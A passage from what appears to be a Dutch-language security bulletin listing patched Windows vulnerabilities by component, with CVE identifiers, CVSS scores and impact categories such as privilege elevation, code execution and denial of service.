Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: 